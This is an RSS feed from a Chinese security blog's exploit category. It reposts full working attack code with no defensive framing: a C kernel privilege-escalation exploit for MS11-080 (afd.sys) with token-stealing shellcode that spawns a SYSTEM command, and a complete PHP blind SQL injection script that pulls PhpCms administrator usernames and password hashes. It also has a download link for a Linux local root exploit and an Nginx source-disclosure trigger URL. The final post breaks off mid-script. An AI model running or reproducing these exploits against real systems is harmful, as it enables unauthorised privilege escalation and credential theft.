<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 矩阵毒刺</title>
	<atom:link href="http://www.4shell.org/archives/category/exp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Tue, 31 Jan 2012 12:43:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>MS11080 Exploit</title>
		<link>http://www.4shell.org/archives/2076.html</link>
		<comments>http://www.4shell.org/archives/2076.html#comments</comments>
		<pubDate>Fri, 13 Jan 2012 04:45:55 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[MS11080]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2076</guid>
		<description><![CDATA[/* * MS11-080 Afd.sys Privilege Escalation Exploit * 来源：Matteo Memelli，[url]http://www.exploit-db.com/exploits/18176/[/url] * 改编：KiDebug，[email]Google@pku.edu.cn[/email] * 编译：VC6.0 * 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户 */ #include &#60;stdio.h&#62; #include &#60;Winsock2.h&#62; #include &#60;winbase.h&#62; #include &#60;windows.h&#62; #pragma comment (lib, "ws2_32.lib") typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
/*</p>
<p>* MS11-080 Afd.sys Privilege Escalation Exploit</p>
<p>* 来源：Matteo Memelli，[url]http://www.exploit-db.com/exploits/18176/[/url]</p>
<p>* 改编：KiDebug，[email]Google@pku.edu.cn[/email]</p>
<p>* 编译：VC6.0</p>
<p>* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;Winsock2.h&gt;</p>
<p>#include &lt;winbase.h&gt;</p>
<p>#include &lt;windows.h&gt;</p>
<p>#pragma comment (lib, "ws2_32.lib")</p>
<p>typedef struct _RTL_PROCESS_MODULE_INFORMATION {</p>
<p>HANDLE Section; // Not filled in</p>
<p>PVOID MappedBase;</p>
<p>PVOID ImageBase;</p>
<p>ULONG ImageSize;</p>
<p>ULONG Flags;</p>
<p>USHORT LoadOrderIndex;</p>
<p>USHORT InitOrderIndex;</p>
<p>USHORT LoadCount;</p>
<p>USHORT OffsetToFileName;</p>
<p>UCHAR FullPathName[ 256 ];</p>
<p>} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;</p>
<p>typedef struct _RTL_PROCESS_MODULES {</p>
<p>ULONG NumberOfModules;</p>
<p>RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];</p>
<p>} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;</p>
<p>typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );</p>
<p>typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );</p>
<p>typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );</p>
<p>NtQueryIntervalProfile_ NtQueryIntervalProfile;</p>
<p>NtAllocateVirtualMemory_ NtAllocateVirtualMemory;</p>
<p>NtQuerySystemInformation_ NtQuerySystemInformation;</p>
<p>ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;</p>
<p>void _declspec(naked) ShellCode()</p>
<p>{</p>
<p>__asm</p>
<p>{</p>
<p>pushad</p>
<p>pushfd</p>
<p>mov esi,PsReferencePrimaryToken</p>
<p>FindTokenOffset:</p>
<p>lodsb</p>
<p>cmp al, 8Dh;</p>
<p>jnz FindTokenOffset</p>
<p>mov edi,[esi+1]</p>
<p>mov esi,PsInitialSystemProcess</p>
<p>mov esi,[esi]</p>
<p>push fs:[124h]</p>
<p>mov eax,PsGetThreadProcess</p>
<p>call eax</p>
<p>add esi, edi</p>
<p>add edi, eax</p>
<p>movsd</p>
<p>popfd</p>
<p>popad</p>
<p>ret</p>
<p>}</p>
<p>}</p>
<p>void main(int argc, char **argv)</p>
<p>{</p>
<p>if (argc != 3)</p>
<p>{</p>
<p>printf("--------------------------------------\n");</p>
<p>printf("Usage : ms11-080.exe cmd.exe Command \n");</p>
<p>exit(-1);</p>
<p>}</p>
<p>HMODULE ntdll = GetModuleHandle( "ntdll.dll" );</p>
<p>NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );</p>
<p>NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );</p>
<p>NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );</p>
<p>if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )</p>
<p>return;</p>
<p>ULONG BaseAddress = 1 , RegionSize = 0x1000, status;</p>
<p>status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&amp;BaseAddress, 0, &amp;RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );</p>
<p>if ( status )</p>
<p>return;</p>
<p>//取ntoskrnl的信息，只要调用一次就行</p>
<p>ULONG NtoskrnlBase;</p>
<p>RTL_PROCESS_MODULES module;</p>
<p>status = NtQuerySystemInformation( 11, &amp;module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11</p>
<p>if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH</p>
<p>return;</p>
<p>NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;</p>
<p>//把ntoskrnl.exe加载进来</p>
<p>HMODULE ntoskrnl;</p>
<p>ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );</p>
<p>if ( ntoskrnl == NULL )</p>
<p>return;</p>
<p>//计算实际地址</p>
<p>WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址</p>
<p>PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;</p>
<p>PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;</p>
<p>PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;</p>
<p>//以下代码就各显神通了</p>
<p>if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )</p>
<p>return;</p>
<p>memset((PVOID)0x02070000,0x90,0x20000);</p>
<p>memcpy((PVOID)0x02080000,ShellCode,100);</p>
<p>WSADATA ws;</p>
<p>SOCKET tcp_socket;</p>
<p>struct sockaddr_in peer;</p>
<p>ULONG dwReturnSize;</p>
<p>WSAStartup(0x0202,&amp;ws);</p>
<p>peer.sin_family = AF_INET;</p>
<p>peer.sin_port = htons(4455);</p>
<p>peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );</p>
<p>tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</p>
<p>if ( connect(tcp_socket, (struct sockaddr*) &amp;peer, sizeof(struct sockaddr_in)) )</p>
<p>{</p>
<p>//printf("connect error\n");</p>
<p>}</p>
<p>UCHAR buf1[26]= "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00";</p>
<p>memset((PVOID)0x1000,0x45,0x108);</p>
<p>memcpy((PVOID)0x1000,buf1,25);</p>
<p>if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&amp;dwReturnSize, NULL))</p>
<p>{</p>
<p>//printf("error=%d\n", GetLastError());</p>
<p>}</p>
<p>//触发，弹出SYSTEM的CMD</p>
<p>NtQueryIntervalProfile( 2, &amp;status );</p>
<p>printf("[&gt;] ms11-080 Exploit\n");</p>
<p>printf("[&gt;] by:Mer4en7y@90sec.org\n");</p>
<p>SECURITY_ATTRIBUTES sa;</p>
<p>HANDLE hWrite,hRead;</p>
<p>STARTUPINFO si;</p>
<p>PROCESS_INFORMATION pi;</p>
<p>char buf[4096];</p>
<p>DWORD dwReadBytes;</p>
<p>char lpcmd[256]={0};</p>
<p>ZeroMemory(buf,4096);</p>
<p>sa.bInheritHandle = TRUE;</p>
<p>sa.lpSecurityDescriptor = NULL;</p>
<p>sa.nLength = sizeof(SECURITY_ATTRIBUTES);</p>
<p>if(!CreatePipe(&amp;hRead,&amp;hWrite,&amp;sa,0))</p>
<p>{</p>
<p>printf("[&gt;] create pipe error\n");</p>
<p>}</p>
<p>si.cb = sizeof(STARTUPINFO);</p>
<p>GetStartupInfo(&amp;si);</p>
<p>si.hStdError = hWrite;</p>
<p>si.hStdOutput = hWrite;</p>
<p>si.wShowWindow = SW_HIDE;</p>
<p>si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;</p>
<p>strcat(lpcmd,"/c ");</p>
<p>strcat(lpcmd,argv[2]);</p>
<p>if(!CreateProcess(argv[1],lpcmd,NULL,NULL,TRUE,0,NULL,NULL,&amp;si,&amp;pi))</p>
<p>{</p>
<p>printf("[&gt;] create porcess error\n");</p>
<p>}</p>
<p>CloseHandle(hWrite);</p>
<p>while(dwReadBytes!=0)</p>
<p>{</p>
<p>WriteFile(hWrite,"test1",6,&amp;dwReadBytes,NULL);</p>
<p>ZeroMemory(buf,4096);</p>
<p>ReadFile(hRead,buf,4096,&amp;dwReadBytes,NULL);</p>
<p>printf("%s\n",buf);</p>
<p>}</p>
<p>return;</p>
<p>}
</p></blockquote>
<h2  class="related_post_title">随机日志</h2><ul class="related_post"><li>2008年11月18日 -- <a href="http://www.4shell.org/archives/631.html" title="身体不是爱情的中转站">身体不是爱情的中转站</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1029.html" title="Aircrack-ng的windows版本，提供下载">Aircrack-ng的windows版本，提供下载</a></li><li>2009年09月24日 -- <a href="http://www.4shell.org/archives/1124.html" title="深圳大学2009届校长章必功毕业致辞">深圳大学2009届校长章必功毕业致辞</a></li><li>2008年10月30日 -- <a href="http://www.4shell.org/archives/503.html" title="ASPXshell MS08-067插件">ASPXshell MS08-067插件</a></li><li>2006年11月18日 -- <a href="http://www.4shell.org/archives/114.html" title="Discuz! 4.x SQL injection / admin exploit">Discuz! 4.x SQL injection / admin exploit</a></li><li>2009年12月6日 -- <a href="http://www.4shell.org/archives/1316.html" title="SQL通用防注入程序 20091206版">SQL通用防注入程序 20091206版</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2007年12月17日 -- <a href="http://www.4shell.org/archives/269.html" title="伪装成Google Bot突破网站关键页面">伪装成Google Bot突破网站关键页面</a></li><li>2008年10月11日 -- <a href="http://www.4shell.org/archives/355.html" title="nlite中文版帮你集成各类软件和补丁到Windows安装光盘（三）">nlite中文版帮你集成各类软件和补丁到Windows安装光盘（三）</a></li><li>2009年07月28日 -- <a href="http://www.4shell.org/archives/968.html" title="王涛离职，阿里软件名存实亡">王涛离职，阿里软件名存实亡</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2076.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</title>
		<link>http://www.4shell.org/archives/1930.html</link>
		<comments>http://www.4shell.org/archives/1930.html#comments</comments>
		<pubDate>Mon, 16 May 2011 09:02:52 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=1930</guid>
		<description><![CDATA[Exploit Title: kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images # Date: 2010 # Author: SA H4x0r # Version: 2.6.18-20 , 2.6.32-24 Kernel 2010 i686 And x86_64 local Private Cant See Images # Tested on: Linux System # Link : Cant See Links # Greetz : All Friends And v4-Team 下载： kernel-2.6.18-164 Local 2010 [...]]]></description>
			<content:encoded><![CDATA[<p>Exploit Title: kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images<br />
# Date: 2010<br />
# Author: SA H4x0r<br />
# Version: 2.6.18-20 , 2.6.32-24 Kernel 2010 i686 And x86_64 local Private Cant See Images<br />
# Tested on: Linux System<br />
# Link : Cant See Links<br />
# Greetz : All Friends And v4-Team</p>
<p><span id="more-1930"></span></p>
<p>下载：<br />
<a href="http://www.4shell.org/wp-content/uploads/2011/05/kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images.rar"> kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2009年09月1日 -- <a href="http://www.4shell.org/archives/1079.html" title="Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit">Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit</a></li><li>2009年05月17日 -- <a href="http://www.4shell.org/archives/779.html" title="Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit">Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/520.html" title="Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit">Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1930.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx 0.8.35 Space Character Remote Source Disclosure</title>
		<link>http://www.4shell.org/archives/1764.html</link>
		<comments>http://www.4shell.org/archives/1764.html#comments</comments>
		<pubDate>Mon, 31 May 2010 01:34:31 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1764.html</guid>
		<description><![CDATA[################################################################# # Application Info: # Name: Nginx # Tested on nginx 0.8.35 # Nginx 0.8.36 and higher is not vulnerable ################################################################# # Vulnerability Info: # Type: Remote File Disclosure # Risk: High ################################################################# # Vulnerability: # http://localhost/file.php%20 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: whh_iran[at]securitylab.ir &#038; info@securitylab[dot]ir ################################################################### 相关文章2011年06月4日 -- 也谈Nginx的CGI [...]]]></description>
			<content:encoded><![CDATA[<p>#################################################################<br />
# Application Info:<br />
# Name: Nginx<br />
# Tested on nginx 0.8.35<br />
# Nginx 0.8.36 and higher is not vulnerable<br />
#################################################################<br />
# Vulnerability Info:<br />
# Type: Remote File Disclosure<br />
# Risk: High<br />
#################################################################<br />
# Vulnerability:<br />
# http://localhost/file.php%20<br />
#################################################################<br />
# Discoverd By: Pouya Daneshmand<br />
# Website: http://Pouya.Securitylab.ir<br />
# Contacts: whh_iran[at]securitylab.ir &#038; info@securitylab[dot]ir<br />
###################################################################</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月4日 -- <a href="http://www.4shell.org/archives/1948.html" title="也谈Nginx的CGI PATH INFO问题">也谈Nginx的CGI PATH INFO问题</a></li><li>2011年06月4日 -- <a href="http://www.4shell.org/archives/1942.html" title="Nginx https 免费SSL证书配置指南">Nginx https 免费SSL证书配置指南</a></li><li>2011年06月3日 -- <a href="http://www.4shell.org/archives/1941.html" title="nginx下wp super cache 设置">nginx下wp super cache 设置</a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1735.html" title="nginx 目录自动加斜线">nginx 目录自动加斜线</a></li><li>2009年09月20日 -- <a href="http://www.4shell.org/archives/1104.html" title="nginx代理DNS缓存域欺骗漏洞">nginx代理DNS缓存域欺骗漏洞</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1041.html" title="nginx 0.7不cache动态文件的方法">nginx 0.7不cache动态文件的方法</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1038.html" title="nginx做cache">nginx做cache</a></li><li>2009年08月18日 -- <a href="http://www.4shell.org/archives/1026.html" title="nginx 0.8.9">nginx 0.8.9</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1764.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</title>
		<link>http://www.4shell.org/archives/1754.html</link>
		<comments>http://www.4shell.org/archives/1754.html#comments</comments>
		<pubDate>Sat, 08 May 2010 12:56:27 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[PhpCMS]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1754.html</guid>
		<description><![CDATA[&#60;?php ini_set("max_execution_time",0); error_reporting(7); function usage() { global $argv; exit( "\n--+++============================================================+++--". "\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--". "\n--+++============================================================+++--". "\n\n[+] Author: My5t3ry". "\n[+] Team: [url]http://www.t00ls.net[/url]". "\n[+] Usage: php ".$argv[0]." &#60;hostname&#62; &#60;path&#62;". "\n[+] Ex.: php ".$argv[0]." localhost /yp". "\n\n"); } function query($pos, $chr, $chs) { global $prefix; switch ($chs){ case 1: $query = "1=1 and if((ascii(substring((select [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
&lt;?php</p>
<p>ini_set("max_execution_time",0);</p>
<p>error_reporting(7);</p>
<p>function usage()</p>
<p>{</p>
<p>global $argv;</p>
<p>exit(</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n\n[+] Author: My5t3ry".</p>
<p>"\n[+] Team: [url]http://www.t00ls.net[/url]".</p>
<p>"\n[+] Usage: php ".$argv[0]." &lt;hostname&gt; &lt;path&gt;".</p>
<p>"\n[+] Ex.: php ".$argv[0]." localhost /yp".</p>
<p>"\n\n");</p>
<p>}</p>
<p>function query($pos, $chr, $chs)</p>
<p>{</p>
<p>global $prefix;</p>
<p>switch ($chs){</p>
<p>case 1:</p>
<p>$query = "1=1 and if((ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>case 2:</p>
<p>$query = "1=1 and if((ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>case 3:</p>
<p>$query = "1=1 and if((length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}),benchmark(10000000,md5(1)),1)#";</p>
<p>break;</p>
<p>}</p>
<p>$query = str_replace(" ", "/**/", $query);</p>
<p>$query = urlencode($query);</p>
<p>return $query;</p>
<p>}</p>
<p>function exploit($hostname, $path, $pos, $chr, $chs)</p>
<p>{</p>
<p>$chr = ord($chr);</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>$postdata = "q=&amp;action=searchlist&amp;where=".query($pos, $chr, $chs);</p>
<p>$message = "POST ".$path."/product.php HTTP/1.1\r\n";</p>
<p>$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "Accept-Encoding: gzip, deflate\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $hostname\r\n";</p>
<p>$message .= "Content-Length: ".strlen($postdata)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $postdata;</p>
<p>//echo $message;</p>
<p>$time_a = time();</p>
<p>fputs($conn, $message);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>$time_b = time();</p>
<p>fclose($conn);</p>
<p>//echo $time_b - $time_a."\r\n";</p>
<p>if ($time_b - $time_a &gt; 4)</p>
<p>return true;</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>function crkusername($hostname, $path, $chs)</p>
<p>{</p>
<p>global $length;</p>
<p>$key = "abcdefghijklmnopqrstuvwxyz0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] username: ";</p>
<p>while ($pos &lt;= $length)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $key[$chr], $chs))</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n";</p>
<p>}</p>
<p>function crkpassword($hostname, $path, $chs)</p>
<p>{</p>
<p>$key = "abcdef0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] password: ";</p>
<p>while ($pos &lt;= 32)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $key[$chr], $chs))</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n\n";</p>
<p>}</p>
<p>function lengthcolumns($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] username length: ";</p>
<p>$exit = 0;</p>
<p>$length = 0;</p>
<p>$pos = 0;</p>
<p>$chr = 0;</p>
<p>while ($exit==0)</p>
<p>{</p>
<p>if (exploit($hostname, $path, $pos, $chr, $chs))</p>
<p>{</p>
<p>$exit = 1;</p>
<p>$length = $pos;</p>
<p>}</p>
<p>else</p>
<p>$pos++;</p>
<p>}</p>
<p>echo $length."\n";</p>
<p>return $length;</p>
<p>}</p>
<p>function getprefix($hostname, $path)</p>
<p>{</p>
<p>echo "[+] prefix: ";</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>$request = "GET {$path}/product.php?q=&amp;action=searchlist&amp;where=%23 HTTP/1.1\r\n";</p>
<p>$request .= "Host: {$hostname}\r\n";</p>
<p>$request .= "Connection: Close\r\n\r\n";</p>
<p>fputs($conn, $request);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>fclose($conn);</p>
<p>preg_match('/FROM `(.+)yp_product/ie',$reply,$match);</p>
<p>if ($match[1])</p>
<p>return $match[1];</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>if ($argc != 3)</p>
<p>usage();</p>
<p>$prefix="";</p>
<p>$hostname = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$prefix = getprefix($hostname, $path);</p>
<p>if ($prefix)</p>
<p>{</p>
<p>echo $prefix."\r\n";</p>
<p>$length = lengthcolumns($hostname, $path, 3);</p>
<p>crkusername($hostname, $path, 1);</p>
<p>crkpassword($hostname, $path, 2);</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>exit("Exploit failed");</p>
<p>}</p>
<p>?&gt;
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1955.html" title="Easy Media Script SQL Injection Vulnerability">Easy Media Script SQL Injection Vulnerability</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1926.html" title="Joomla Component com_hello SQL Injection Vulnerability">Joomla Component com_hello SQL Injection Vulnerability</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年06月6日 -- <a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年04月14日 -- <a href="http://www.4shell.org/archives/1690.html" title="SFX-SQLi SQL2005/2008注入工具">SFX-SQLi SQL2005/2008注入工具</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1754.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</title>
		<link>http://www.4shell.org/archives/1753.html</link>
		<comments>http://www.4shell.org/archives/1753.html#comments</comments>
		<pubDate>Sat, 08 May 2010 12:55:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[PhpCMS]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1753.html</guid>
		<description><![CDATA[&#60;?php ini_set("max_execution_time",0); error_reporting(7); function usage() { global $argv; exit( "\n--+++============================================================+++--". "\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--". "\n--+++============================================================+++--". "\n\n[+] Author: My5t3ry". "\n[+] Team: [url]http://www.t00ls.net[/url]". "\n[+] Usage: php ".$argv[0]." &#60;hostname&#62; &#60;path&#62;". "\n[+] Ex.: php ".$argv[0]." localhost /yp". "\n\n"); } function query($pos, $chr, $chs) { global $prefix; switch ($chs){ case 0: $query = "#"; break; case [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
&lt;?php</p>
<p>ini_set("max_execution_time",0);</p>
<p>error_reporting(7);</p>
<p>function usage()</p>
<p>{</p>
<p>global $argv;</p>
<p>exit(</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".</p>
<p>"\n--+++============================================================+++--".</p>
<p>"\n\n[+] Author: My5t3ry".</p>
<p>"\n[+] Team: [url]http://www.t00ls.net[/url]".</p>
<p>"\n[+] Usage: php ".$argv[0]." &lt;hostname&gt; &lt;path&gt;".</p>
<p>"\n[+] Ex.: php ".$argv[0]." localhost /yp".</p>
